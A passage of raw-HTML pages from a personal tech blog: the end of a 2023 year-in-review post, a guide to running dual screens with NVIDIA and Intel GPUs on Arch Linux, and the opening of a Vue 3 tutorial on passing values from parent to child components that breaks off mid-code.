class="n">db</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">user_name</span><span class="o">=</span><span class="n">user_name</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">post_title</span><span class="o">=</span><span class="n">post_title</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">description</span><span class="o">=</span><span class="n">description</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">post_uuid</span><span class="o">=</span><span class="n">post_uuid</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">is_nsfw</span><span class="o">=</span><span class="n">nsfw_db</span> </span></span><span class="line"><span class="cl"> <span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> <span class="k">return</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="s2">&#34;status&#34;</span><span class="p">:</span> <span class="s2">&#34;success&#34;</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span></code></pre></td></tr></table> </div> </div><p>These frameworks didn&rsquo;t just expedite my development speed for simple web applications; they also broadened my programming experiences, empowering me with a newfound sense of confidence.</p> <h3 id="pandas">pandas</h3> <p>Learning <a href="https://pandas.pydata.org/" target="_blank" rel="noopener noreffer "><strong>pandas</strong></a> has been a game-changer for me. This versatile and lightning-fast open-source data analysis and manipulation tool, built on top of Python, has proven to be an indispensable asset for my data-related tasks.</p> <p>Whether it&rsquo;s cleaning up datasets or delving into comprehensive data analysis, pandas has consistently come to my rescue. One interesting aspect is its ability to effortlessly handle data fetched through spider scripts, making it accessible and easily readable for further processing.</p> <p>Plus, the fact that I can swiftly generate new data into Excel or CSV files after the cleansing operation is nothing short of magical. However, I must admit, there&rsquo;s always more to learn and practice when it comes to mastering this powerful tool. Experience is the true teacher, right?</p> <h3 id="pyecharts">pyecharts</h3> <p>Now, let&rsquo;s talk about <a href="https://pyecharts.org/#/" target="_blank" rel="noopener noreffer "><strong>pyecharts</strong></a>. When I need to whip up a stunning picture or chart from my data and display it on a webpage, pyecharts has become my go-to solution.</p> <p>Sure, I&rsquo;m aware of Apache ECharts, an open-source JavaScript visualization library, but setting up its properties and rendering a complex chart can be quite the heavy lift. This is where pyecharts swoops in to save the day, helping me sidestep the complexities and streamline the process.</p> <p>The official documentation, with its plethora of examples for creating simple data charts and graphs, has been an absolute lifesaver. When all I need is a quick, simple chart, relying on pyecharts feels like a breeze.</p> <h3 id="database">Database</h3> <p>After mastering SQL and familiarizing myself with MySQL, MariaDB, and SQLite, I found that each has its unique advantages for various development needs.</p> <h4 id="sqlitehttpswwwsqliteorg"><a href="https://www.sqlite.org" target="_blank" rel="noopener noreffer ">SQLite</a></h4> <p>When it comes to lightweight, file-based management and easy transferability of rich content, SQLite has been my go-to choice for simpler applications. The fact that SQLite database files are commonly employed for content transfer and long-term data archival points to its versatility and widespread use in diverse scenarios. In fact, did you know that there are over 1 trillion (1e12) active SQLite databases in use today? That&rsquo;s mind-blowing! The flexibility and ease of use of SQLite make it an ideal solution for projects like <a href="https://github.com/WeepingDogel/tinygallery-backend" target="_blank" rel="noopener noreffer ">TinyGallery</a>, where it serves as the reliable database engine.</p> <h4 id="mysqlhttpswwwmysqlcom--mariadbhttpsmariadborg"><a href="https://www.mysql.com" target="_blank" rel="noopener noreffer ">MySQL</a> &amp; <a href="https://mariadb.org" target="_blank" rel="noopener noreffer ">MariaDB</a></h4> <p>Of course, in scenarios where performance is a top priority, especially in larger-scale applications, the robustness of MySQL or its fork, MariaDB, often becomes essential. Their well-established presence in the industry and their ability to handle larger datasets and a higher load have made them popular choices in the development community.</p> <h3 id="virtualization">Virtualization</h3> <p>Venturing into the captivating realm of cloud computing has not only broadened my understanding of modern technology but also kindled a deep interest in virtualization—a cornerstone of cloud infrastructure.</p> <p>Within this domain, I&rsquo;ve had the pleasure of acquainting myself with a diverse array of virtualization software that has elevated my comprehension of resource management and system orchestration. Let&rsquo;s delve into the specifics of each prominent tool:</p> <h4 id="vmware-workstation">VMware Workstation</h4> <p>At the forefront of my virtualization exploration stands <a href="https://www.vmware.com/products/workstation-pro.html" target="_blank" rel="noopener noreffer "><strong>VMware Workstation</strong></a>. Its robust environment for running multiple virtual machines on a single physical device has been instrumental in refining my approach to system administration and resource allocation.</p> <p>The rich feature set and user-friendly interface of VMware Workstation have empowered me to create and manage virtual environments with unparalleled ease and efficiency, leaving an indelible mark on my journey through digital infrastructure management.</p> <h4 id="virtualbox">VirtualBox</h4> <p>As I delved deeper, <a href="https://www.virtualbox.org" target="_blank" rel="noopener noreffer "><strong>VirtualBox</strong></a>, with its open-source ethos, emerged as a compelling alternative, reshaping how I perceive accessibility and simplicity in virtualization. Its seamless capacity to create and manage virtual machines has not only broadened my technical adeptness but also democratized the virtualization experience, making it accessible to a diverse spectrum of enthusiasts and professionals.</p> <p>The inclusive and user-friendly nature of VirtualBox has underscored the significance of providing accessible virtualization tools in empowering a broader community of aspiring developers and cloud enthusiasts.</p> <h4 id="qemukvm">Qemu/KVM</h4> <p>The potent alliance of <a href="https://wiki.qemu.org/Features/KVM" target="_blank" rel="noopener noreffer "><strong>QEMU/KVM</strong></a> has stood as a formidable force in my virtualization odyssey, encapsulating the raw power of hypervisor functionality and hardware-assisted virtualization for Linux systems.</p> <p>The seamless compatibility and robust performance offered by this dynamic duo have unlocked new dimensions of agility and efficiency in managing virtualized environments, sparking a newfound appreciation for the intricacies of low-level virtualization technologies.</p> <p>Embracing QEMU/KVM has not only fortified my technical prowess but also enriched my understanding of system-level virtualization, transforming my approach to managing digital infrastructure.</p> <h4 id="libvirt">Libvirt</h4> <p>Last but not least, <a href="https://libvirt.org/manpages/libvirtd.html" target="_blank" rel="noopener noreffer "><strong>libvirt</strong></a>, the versatile open-source toolkit, has emerged as a stalwart companion in my exploration of virtualization technologies.</p> <p>Its broad support for a range of hypervisors, including QEMU/KVM, Xen, and LXC, has streamlined the orchestration and management of virtualized platforms, providing a holistic perspective on virtualization capabilities and infrastructure management.</p> <p>My journey with libvirt has underscored the crucial role of adaptive and versatile virtualization tools in the modern era, redefining the paradigm of infrastructure management and resource optimization.</p> <hr> <p>These virtualization technologies, with their diverse capabilities and applications, have not only deepened my expertise in cloud computing but also broadened my horizons, equipping me with a nuanced perspective on efficient resource utilization and infrastructure orchestration.</p> <p>The journey through virtualization has been nothing short of transformative, laying a resilient foundation for navigating the dynamic landscapes of cloud infrastructure and digital environments.</p> <h3 id="docker">Docker</h3> <p>Embracing the world of <a href="https://www.docker.com" target="_blank" rel="noopener noreffer "><strong>Docker</strong></a> has been a transformative journey, redefining how I approach software development and deployment. From diving into Docker&rsquo;s innovative approach to containerization to unraveling its potential for creating lightweight, portable, and self-sufficient environments, my exploration has been nothing short of exhilarating.</p> <p>Last year, I penned an <a href="/zh-cn/posts/%e6%b5%85%e5%b0%9ddocker/" rel=""><strong>article</strong></a> shedding light on this very journey with Docker, and now, armed with an even broader understanding, I&rsquo;m geared up to delve deeper into its intricacies.</p> <h3 id="openstack">OpenStack</h3> <p>Venturing into the realm of <a href="https://www.openstack.org" target="_blank" rel="noopener noreffer "><strong>OpenStack</strong></a> has been a recent foray, opening the doors to a world of immense potential in cloud infrastructure management.</p> <p>While I&rsquo;ve currently dipped my toes into the installation process on a Linux server, I&rsquo;m poised to embark on an enriching learning journey that will unravel the depths of OpenStack&rsquo;s capabilities.</p> <p>This journey has already highlighted the power of OpenStack in reshaping the dynamics of scalable and customizable cloud environments, and I&rsquo;m looking forward to documenting my discoveries as I delve further into its functionalities and applications.</p> <h2 id="new-devices">New Devices</h2> <h3 id="108-customized-keyboard">108 Customized Keyboard</h3> <ul> <li>Polar Fox Shaft for letter area, Midnight Jade Shaft for large keys, Box White Shaft for other keys.</li> <li>Support tri-mode and RGB</li> </ul> <p>I bought this keyboard for better typing experience, better appearance and gaming.</p> <h3 id="87-customized-keyboard">87 Customized Keyboard</h3> <ul> <li>Blueberry Ice Cream shaft for space bar, Graywood V4 shaft for other keys</li> <li>Single mode only, white backlight</li> </ul> <p>I bought this keyboard for programming and trying different typing experience.</p> <p>Plus, its light weight always helps me replace the membrane keyboard in computer classroom of shcool. There&rsquo;s no keyboards in good status&hellip; Most of them are broken in different levels because of the students who feels boring in class&hellip; There are even keycaps that have been gouged out&hellip; Then I need to take my own keyboard to take a laboratory course.</p> <h3 id="viewsonic-displayer">ViewSonic Displayer</h3> <ul> <li>23.8&quot;, 1080P, 165Hz, Fast-IPS panel, HDR10 support</li> </ul> <p>I bought it at the beginning of the school year, at first thinking that I could read more lines of code on the big screen&hellip;</p> <h3 id="asus-router-ax-56u">Asus Router AX-56U</h3> <p>I don&rsquo;t know what madness to buy Asus router, support dual-band WiFi6, Gigabit wired, didn&rsquo;t brush the system, still using the official firmware, currently using it as an AP at home.</p> <h3 id="small-host-received-from-mukihttpstmemukixi">Small host received from <a href="https://t.me/Mukixi" target="_blank" rel="noopener noreffer ">muki</a></h3> <p>It actually has a story of where it came from, but as I said bad memories don&rsquo;t mean anything. R5-1400 + RX580, 8GB RAM, currently sitting at home as an internal server for the Me0w00f Technology team.</p> <h3 id="pixel-3xl">Pixel 3XL</h3> <p>Off-<a href="https://en.wikipedia.org/wiki/Great_Firewall" target="_blank" rel="noopener noreffer ">wall</a> machine donated by <a href="https://t.me/kawaii_fox" target="_blank" rel="noopener noreffer ">a certain fox</a>, used for off-wall socializing, sometimes watching YouTube, <a href="https://www.vrelnir.com/" target="_blank" rel="noopener noreffer ">DOL</a> installed. It&rsquo;s also not bricked, and is still officially native to the Pixel.</p> <h1 id="pity">Pity</h1> <p>However, it&rsquo;s impossible for a ship to always move mildly on the ocean. Something is a pity that couldn&rsquo;t be realized and accomplished.</p> <h2 id="competition">Competition</h2> <p>The first and biggest pity is that I couldn&rsquo;t get a chance to participate in large competition this year.</p> <p>Although I had trained and prepared, learning much&hellip;</p> <h2 id="skills-works-and-gaming">Skills, works and gaming.</h2> <p>In addition.. some details of skills and some basic knowledges hadn&rsquo;t been acquired.</p> <p>Saddly, I also hadn&rsquo;t enjoyed a good gaming time&hellip;</p> <h2 id="depression">Depression</h2> <p>Everything bad comes from the terrible reason, I might be ill in emotion, like depression.</p> <p>I know it is necessary to see a doctor, but chances are few. I wanna get rid of it, but it&rsquo;s hard.</p> <p>It has been a stone which probably and definitely prevents my steps to go forward&hellip;</p> <h1 id="new-accquaintance">New accquaintance</h1> <p>Here are my new accquaintance or friends I met this year with something they say.</p> <h2 id="grassblock">GrassBlock</h2> <blockquote> <p>&ldquo;In the new year I hope WeepingDogel can live happily and not stress himself out by thinking too lowly of himself!&rdquo;</p> </blockquote> <h2 id="riiina">Riiina</h2> <blockquote> <p>&ldquo;See a doctor&rdquo;</p> </blockquote> <h2 id="episode33">Episode33</h2> <blockquote> <p>&ldquo;You.<br> Think about how to live, at least you seem promising to me.&rdquo;</p> </blockquote> <h1 id="plans-in-2024">Plans in 2024</h1> <ul> <li>Finish reading the book <em><strong>Computer Systems A Programmer’s Perspective</strong></em>.</li> <li>Learn to use Vuetify or PrimeVue.</li> <li>Learn more about virtualization, programming and networking.</li> <li>Prepare for bachelor&rsquo;s degree.</li> <li>Join and win a competition.</li> <li><del>Find a lover</del>(Never mind)</li> </ul> <h1 id="conclusion">Conclusion</h1> <p>Finally, I recorded this year. Even if there&rsquo;s a pity for something failed, I still gain so much that never feel sad at the end of the year.</p>

2023/12/31
阅读更多

Solve the problem of dual screen with NVIDIA and Intel GPUs

<div class="featured-image"> <img src="/img/2023-09-21-21-49-12%e5%b1%8f%e5%b9%95%e6%88%aa%e5%9b%be.png" referrerpolicy="no-referrer"> </div><h2 id="introduction">Introduction</h2> <p>Recently I bought a new monitor made by ViewSonic, but I meet some problems of the dual GPUs.</p> <p>In the past years, I have used only one screen which is installed in my laptop without NVIDIA graphcial drivers. (Only use the Intel core GPU).</p> <p>However, because of the new monitor added, the ntegrated graphics is not powerful enough to output two screens.</p> <p>Therefore, I decide to install the NVIDIA grapcial driver of the RTX3050 on my Arch Linux in order to make use of the Discrete Graphics Card to output the new screen.</p> <p>But things are not running well&hellip;</p> <p>The reason why I crashed the wall is that I used to running Gnome on wayland mode before.</p> <p>But it is said that NVIDIA drivers are not performing well on wayland?</p> <p>So it truly means that I have to abandon the idea to output two screen on wayland.</p> <p>Oh it&rsquo;s bad! I have to come back to the hugging of the X11!</p> <h2 id="beginning">Beginning</h2> <p>At the beginning of that, I plugged the miniDP into the laptop and the another port into the monitor.</p> <p>But disappointingly, it can&rsquo;t be lighted up at all. QAQ.</p> <p>Maybe the miniDP port can not output anything because of missing the NVIDIA driver.</p> <p>So I have to install it.</p> <h2 id="installation-of-the-nvidia-drivers">Installation of the NVIDIA drivers</h2> <p>The first step is to install the drivers. Yeah notefuly, it&rsquo;s the first step, not the last.</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">$ sudo pacman -S nvidia nvidia-utils lib32-nvidia-utils nvidia-prime </span></span></code></pre></td></tr></table> </div> </div><p>However, the screen was still not displaying anything&hellip;</p> <p>Then I went to the Arch Linux CN group to ask the guys in community.</p> <p>After discussion, I finally got the solution.</p> <h2 id="open-the-ibt">Open the <code>ibt</code></h2> <p>About on the March, <a href="/en/posts/problem_of_virtualbox_appeding_starting_vm/" rel="">I faced a problem of VirutalBox and set the <code>ibt=off</code></a>.</p> <p>But now it is not required to be <code>off</code>, I need to remove the param of the kernel.</p> <p>Edit the file: <code>/etc/default/grub</code>,</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">$ sudo vim /etc/default/grub </span></span></code></pre></td></tr></table> </div> </div><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span><span class="lnt">6 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">GRUB_DEFAULT=&#34;0&#34; </span></span><span class="line"><span class="cl">GRUB_TIMEOUT=&#34;100&#34; </span></span><span class="line"><span class="cl">GRUB_DISTRIBUTOR=&#34;Arch&#34; </span></span><span class="line"><span class="cl">GRUB_CMDLINE_LINUX_DEFAULT=&#34;quiet splash loglevel=3 rd.udev.log_priority=3 vt.global_cursor_default=0&#34; </span></span><span class="line"><span class="cl">GRUB_CMDLINE_LINUX=&#34;ibt=off&#34; </span></span><span class="line"><span class="cl">......... </span></span></code></pre></td></tr></table> </div> </div><p>then remove the <code>ibt=off</code> in <code>GRUB_CMD_LINE_LINUX</code>:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span><span class="lnt">6 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">GRUB_DEFAULT=&#34;0&#34; </span></span><span class="line"><span class="cl">GRUB_TIMEOUT=&#34;100&#34; </span></span><span class="line"><span class="cl">GRUB_DISTRIBUTOR=&#34;Arch&#34; </span></span><span class="line"><span class="cl">GRUB_CMDLINE_LINUX_DEFAULT=&#34;quiet splash loglevel=3 rd.udev.log_priority=3 vt.global_cursor_default=0&#34; </span></span><span class="line"><span class="cl">GRUB_CMDLINE_LINUX=&#34;&#34; </span></span><span class="line"><span class="cl">......... </span></span></code></pre></td></tr></table> </div> </div><p>Then regenerate the <code>grub.cfg</code>:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">$ sudo grub-mkconfig -o /etc/grub/grub.cfg </span></span></code></pre></td></tr></table> </div> </div><h2 id="set-nvidia-modeset">Set NVIDIA modeset</h2> <p>Then I need to check the value of the <code>nvidia-drm.modeset</code>.</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">$ cat /sys/module/nvidia_drm/parameters/modeset </span></span></code></pre></td></tr></table> </div> </div><p>It shows:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">N </span></span></code></pre></td></tr></table> </div> </div><p>Now I need to add <code>nvidia-drm.modeset=1</code> into Kernel Paramaters.</p> <div class="details admonition tip open"> <div class="details-summary admonition-title"> <i class="icon fas fa-lightbulb fa-fw" aria-hidden="true"></i>Explanation from ChatGPT<i class="details-icon fas fa-angle-right fa-fw" aria-hidden="true"></i> </div> <div class="details-content"> <div class="admonition-content">The <code>nvidia-drm.modeset=1</code> kernel parameter enables the <strong>NVIDIA Direct Rendering Manager KMS (Kernel Mode Setting)</strong>. KMS is a method for setting display resolution and depth in the kernel space rather than user space.</div> </div> </div> <p>Edit the file: <code>/etc/default/grub</code></p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">$ sudo vim /etc/default/grub </span></span></code></pre></td></tr></table> </div> </div><p>Add the <code>nvidia-drm.modeset=1</code> into <code>GRUB_CMDLINE_LINUX_DEFAULT</code></p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">........ </span></span><span class="line"><span class="cl">GRUB_CMDLINE_LINUX_DEFAULT=&#34;quiet splash loglevel=3 rd.udev.log_priority=3 vt.global_cursor_default=0 nvidia-drm.modeset=1&#34; </span></span><span class="line"><span class="cl">........ </span></span></code></pre></td></tr></table> </div> </div><p>Then regenerate the grub configuration file.</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">$ sudo grub-mkconfig -o /boot/grub/grub.cfg </span></span></code></pre></td></tr></table> </div> </div><p>And reboot.</p> <h2 id="use-mutter-performance">Use mutter-performance</h2> <p>Still, it&rsquo;s not performing well after restarting the system.</p> <p>For this reason, it should be a bit better to use the <code>mutter-performance</code>.</p> <div class="details admonition tip open"> <div class="details-summary admonition-title"> <i class="icon fas fa-lightbulb fa-fw" aria-hidden="true"></i>Explanation from ChatGPT<i class="details-icon fas fa-angle-right fa-fw" aria-hidden="true"></i> </div> <div class="details-content"> <div class="admonition-content"><code>mutter-performance</code> is an optimized version of the Mutter window manager, particularly tweaked for performance. Mutter is the default window manager for GNOME 3, which is responsible for arranging, interacting with, and animating windows <a href="https://www.linkedin.com/company/mutter-performance/" target="_blank" rel="noopener noreffer ">linkedin.com</a>.</div> </div> </div> <p>This package should be installed from <a href="https://aur.archlinux.org" target="_blank" rel="noopener noreffer ">AUR</a></p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">$ paru -S mutter-performance </span></span></code></pre></td></tr></table> </div> </div><p>After installation, the desktop truly ran a little faster, but it&rsquo;s still not enough.</p> <p>And by the way, it&rsquo;s time to remove the <code>xf86-video-intel</code>. It is not required in new devices.</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">$ sudo pacman -Rs xf86-video-intel </span></span></code></pre></td></tr></table> </div> </div><div class="details admonition tip"> <div class="details-summary admonition-title"> <i class="icon fas fa-lightbulb fa-fw" aria-hidden="true"></i>Explanation from ChatGPT<i class="details-icon fas fa-angle-right fa-fw" aria-hidden="true"></i> </div> <div class="details-content"> <div class="admonition-content"><p>The xf86-video-intel package is a driver for Intel integrated graphics chips that is maintained by the X.Org project. However, for modern Intel graphics hardware (roughly 2007 and newer), it is often recommended to remove this package for several reasons:</p> <p>Better support with modesetting driver: The modesetting driver, which is part of the X server and does not need to be installed separately, has better support for modern graphics features and hardware. It is maintained by the X.Org project and tends to keep up with new developments in graphics technology github.com.</p> <p>Issues with xf86-video-intel driver: The xf86-video-intel driver has been known to cause issues on some systems, including graphical glitches and poorer performance compared to the modesetting driver. In some cases, it can even lead to system instability bbs.archlinux.org.</p> <p>Lack of active development: The xf86-video-intel driver has not seen active development for several years, which means it may lack support for features found in newer hardware and software. On the other hand, the modesetting driver is actively developed as part of the X server reddit.com.</p> <p>To remove the xf86-video-intel package, you can use the package manager of your specific Linux distribution. Here&rsquo;s an example using pacman, the package manager for Arch Linux:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">sudo pacman -R xf86-video-intel </span></span></code></pre></td></tr></table> </div> </div><p>After removing the package, restart your system to ensure the changes take effect.</p> <p>Remember to check the documentation of your specific distribution for the correct way to remove packages and handle drivers.</p> </div> </div> </div> <h2 id="set-x-11-configuration">Set X-11 Configuration</h2> <p>According to the <a href="https://wiki.archlinux.org/title/NVIDIA_Optimus#Use_NVIDIA_graphics_only" target="_blank" rel="noopener noreffer ">Arch Wiki</a>, I need to set some X-11 Configuration, intending to use the NVIDIA graphics only.</p> <p>Write in the file <code>/etc/X11/xorg.conf.d/10-nvidia-drm-outputclass.conf/</code>:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">Section &#34;OutputClass&#34; </span></span><span class="line"><span class="cl"> Identifier &#34;intel&#34; </span></span><span class="line"><span class="cl"> MatchDriver &#34;i915&#34; </span></span><span class="line"><span class="cl"> Driver &#34;modesetting&#34; </span></span><span class="line"><span class="cl">EndSection </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">Section &#34;OutputClass&#34; </span></span><span class="line"><span class="cl"> Identifier &#34;nvidia&#34; </span></span><span class="line"><span class="cl"> MatchDriver &#34;nvidia-drm&#34; </span></span><span class="line"><span class="cl"> Driver &#34;nvidia&#34; </span></span><span class="line"><span class="cl"> Option &#34;AllowEmptyInitialConfiguration&#34; </span></span><span class="line"><span class="cl"> Option &#34;PrimaryGPU&#34; &#34;yes&#34; </span></span><span class="line"><span class="cl"> ModulePath &#34;/usr/lib/nvidia/xorg&#34; </span></span><span class="line"><span class="cl"> ModulePath &#34;/usr/lib/xorg/modules&#34; </span></span><span class="line"><span class="cl">EndSection </span></span></code></pre></td></tr></table> </div> </div><p>Then I need to create two <code>*.desktop</code> files to configure the GDM.</p> <p>Write in <code>/usr/share/gdm/greeter/autostart/optimus.desktop</code> and <code>/etc/xdg/autostart/optimus.desktop</code></p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span><span class="lnt">6 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[Desktop Entry] </span></span><span class="line"><span class="cl">Type=Application </span></span><span class="line"><span class="cl">Name=Optimus </span></span><span class="line"><span class="cl">Exec=sh -c &#34;xrandr --setprovideroutputsource modesetting NVIDIA-0; xrandr --auto&#34; </span></span><span class="line"><span class="cl">NoDisplay=true </span></span><span class="line"><span class="cl">X-GNOME-Autostart-Phase=DisplayServer </span></span></code></pre></td></tr></table> </div> </div><p>Finally, I rebooted and fixed the problem.</p> <p>Yay!</p> <h2 id="references">References</h2> <ul> <li><a href="https://www.phind.com" target="_blank" rel="noopener noreffer ">Phind.com</a></li> <li><a href="https://wiki.archlinux.org/title/NVIDIA_Optimus#Use_NVIDIA_graphics_only" target="_blank" rel="noopener noreffer ">NVIDIA Optimus - ArchWiki #Use_NVIDIA_graphics_only</a></li> <li><a href="https://wiki.archlinux.org/title/NVIDIA_Optimus#GDM" target="_blank" rel="noopener noreffer ">NVIDIA Optimus - ArchWiki #GDM</a></li> </ul>

2023/9/21
阅读更多

How To Transfer A Value From The Parent Component To The Child Component in Vue 3.2

<div class="featured-image"> <img src="/img/background_preview_2023_07_22.png" referrerpolicy="no-referrer"> </div><h2 id="introduction">Introduction</h2> <p>Vue is a popular JavaScript framework for building interactive web interfaces. It&rsquo;s easy to learn, versatile, and has a supportive community.</p> <p>Developing single-page applications with Vue is incredibly convenient.</p> <p>However, there are instances where we encounter challenges when it comes to transferring values between parent and child components.</p> <p>Still unclear? Imagine this scenario: You&rsquo;ve created a button and you want it to control the content of a <code>&lt;p&gt;&lt;/p&gt;</code> element, thereby fulfilling a specific development requirement.</p> <p>Then it&rsquo;s time to transfer different values to <code>ChildComponet</code> to change the properties or trigger an event.</p> <h2 id="ways-to-transfer-a-value-from-the-parent-to-the-child">Ways to transfer a value from the parent to the child</h2> <h3 id="step-1-create-the-parent-component">Step 1: Create the Parent Component</h3> <ol> <li>Create a new Vue component file for the parent component (e.g., <code>ParentComponent.vue</code>).</li> <li>In the component&rsquo;s template, define the parent component&rsquo;s content and include the child component.</li> </ol> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span><span class="lnt">6 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-vue" data-lang="vue"><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">template</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">div</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;FatherBox&#34;</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">ChildComponent</span> <span class="p">/&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">button</span><span class="p">&gt;&lt;/</span><span class="nt">button</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">template</span><span class="p">&gt;</span> </span></span></code></pre></td></tr></table> </div> </div><ol start="3"> <li>Import the child component by adding the necessary import statement.</li> </ol> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-vue" data-lang="vue"><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">script</span> <span class="na">lang</span><span class="o">=</span><span class="s">&#34;ts&#34;</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"><span class="kr">import</span> <span class="nx">ChildComponent</span> <span class="nx">from</span> <span class="s1">&#39;./ChildComponent.vue&#39;</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">script</span><span class="p">&gt;</span> </span></span></code></pre></td></tr></table> </div> </div><ol start="4"> <li>Register the child component in the parent component&rsquo;s components property.</li> </ol> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span><span class="lnt">6 </span><span class="lnt">7 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-vue" data-lang="vue"><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">script</span> <span class="na">lang</span><span class="o">=</span><span class="s">&#34;ts&#34;</span><span 